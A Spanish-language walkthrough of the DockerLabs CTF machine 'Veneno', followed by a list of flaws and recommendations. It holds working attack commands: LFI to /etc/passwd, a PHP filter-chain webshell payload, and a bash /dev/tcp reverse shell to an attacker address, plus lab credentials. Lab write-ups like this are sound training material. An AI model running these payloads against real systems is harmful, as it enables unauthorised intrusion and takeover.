Veneno
Introducción
Sección titulada «Introducción»Este documento detalla la resolución completa de la máquina Veneno, desarrollada por firstatack para la plataforma DockerLabs y clasificada como Medio.
El objetivo es describir el proceso completo de compromiso del sistema, desde la enumeración inicial hasta la escalada de privilegios, analizando cada vector de ataque y destacando las vulnerabilidades explotadas.
La metodología se divide en tres fases principales:
- Reconocimiento: identificación de servicios expuestos y análisis inicial.
- Explotación: obtención de acceso inicial mediante una vulnerabilidad LFI escalada a RCE.
- Escalada de privilegios: abuso de información sensible y mala configuración para obtener acceso
root.
Todas las acciones fueron realizadas en el entorno aislado proporcionado por DockerLabs.
Información General
Sección titulada «Información General»| Atributo | Valor |
|---|---|
| Nombre | Veneno |
| Autor | firstatack |
| Dificultad | Medio |
| Fecha | 30/06/2024 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Se descomprime y despliega la máquina:
unzip "Veneno.zip"sudo bash auto_deploy.sh "Veneno.tar"
Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización del entorno
Sección titulada «1.1 Organización del entorno»mkdir -p Veneno/{content,exploits,nmap,gobuster,scripts}cd Veneno1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsPuertos abiertos identificados:
- 22/tcp – SSH
- 80/tcp – HTTP

1.3 Enumeración HTTP
Sección titulada «1.3 Enumeración HTTP»Se realiza un escaneo de directorios:
gobuster dir -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \ -x php,html,txt,js -t 200
Rutas relevantes encontradas
/index.html— página por defecto de Apache/uploads— directorio accesible/problems.php— archivo PHP que redirige constantemente al index
Paso 2 — Explotación (Acceso Inicial)
Sección titulada «Paso 2 — Explotación (Acceso Inicial)»El archivo problems.php siempre redirige al index, lo que sugiere que está leyendo archivos basados en algún parámetro oculto.
Se intenta descubrir dicho parámetro con ffuf:
ffuf -u "http://172.17.0.2/problems.php?FUZZ=id" \ -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" \ -fs 10671
El parámetro encontrado es:
backdoorProbamos un LFI:
curl http://172.17.0.2/problems.php?backdoor=/etc/passwd
Se identifica el usuario:
carlos2 Explotación → LFI a RCE
Sección titulada «2 Explotación → LFI a RCE»Para convertir el LFI en ejecución remota de comandos se usa:
php_filter_chain_generator
php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'La cadena generada se inserta dentro del parámetro vulnerable y se prueba con:
&cmd=idAl confirmarse la ejecución de comandos, se procede a obtener una reverse shell.
Listener:
Sección titulada «Listener:»nc -nlvp 443Reverse Shell codificada en URL:
Sección titulada «Reverse Shell codificada en URL:»urlencode "bash -c 'bash -i >& /dev/tcp/172.17.0.1/443 0>&1'"Ejecutamos la petición final:
curl 'http://172.17.0.2/problems.php?backdoor=php://filter<RECORTADO>php://temp&cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F443%200%3E%261%27' --output -Reverse shell obtenida:
Sección titulada «Reverse shell obtenida:»
3 Escalada de privilegios
Sección titulada «3 Escalada de privilegios»#@# 3.1 De www-data → Carlos
Se identifica un archivo sospechoso:

La pista menciona una contraseña guardada desde hace 24 años. Buscamos archivos antiguos:
find / -type f -mtime +8700 2>/dev/null
El archivo inhackeable_pass.txt contiene la contraseña de carlos.
Se accede con:

3.2 De Carlos → Root
Sección titulada «3.2 De Carlos → Root»Listado de directorio del usuario:

Para encontrar un archivo relevante:
find . -type f 2>/dev/null
Se encuentra la imagen oculta:
/carpeta55/.toor.jpgSe descarga con SCP:
scp carlos@172.17.0.2:/home/carlos/carpeta55/.toor.jpg ./.toor.jpgAnalizando metadatos con exiftool:
Sección titulada «Analizando metadatos con exiftool:»exiftool .toor.jpg
En Image Quality aparece:
pingui1730Esto es la contraseña de root:
su root
Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»1. LFI sin validación en problems.php
Sección titulada «1. LFI sin validación en problems.php»Permite leer archivos arbitrarios del sistema.
2. Escalada de LFI → RCE mediante filtros de PHP
Sección titulada «2. Escalada de LFI → RCE mediante filtros de PHP»Los wrappers php://filter deben estar deshabilitados en producción.
3. Contraseñas en texto plano
Sección titulada «3. Contraseñas en texto plano»inhackeable_pass.txt contenía credenciales reales.
4. Información sensible en metadatos EXIF
Sección titulada «4. Información sensible en metadatos EXIF»La contraseña de root estaba incrustada en una imagen.
5. Mala gestión de archivos antiguos
Sección titulada «5. Mala gestión de archivos antiguos»El uso de find -mtime permitió descubrir archivos críticos abandonados.
6. Permisos inadecuados
Sección titulada «6. Permisos inadecuados»Archivos sensibles accesibles desde el servicio web.
Recomendaciones
Sección titulada «Recomendaciones»1. Validar y sanear parámetros de entrada en PHP
Sección titulada «1. Validar y sanear parámetros de entrada en PHP»Implementar whitelists y sanitización estricta.
2. Deshabilitar wrappers peligrosos
Sección titulada «2. Deshabilitar wrappers peligrosos»Especialmente php://filter, php://input, expect://.
3. Almacenar credenciales de forma segura
Sección titulada «3. Almacenar credenciales de forma segura»Usar vaults, variables de entorno o archivos cifrados.
4. Limpiar metadatos antes de publicar archivos
Sección titulada «4. Limpiar metadatos antes de publicar archivos»Script automático que elimine EXIF.
5. Revisar permisos y accesos
Sección titulada «5. Revisar permisos y accesos»Aplicar principio de mínimo privilegio.
6. Establecer auditorías periódicas de archivos antiguos
Sección titulada «6. Establecer auditorías periódicas de archivos antiguos»Eliminar, archivar o cifrar archivos fuera de uso.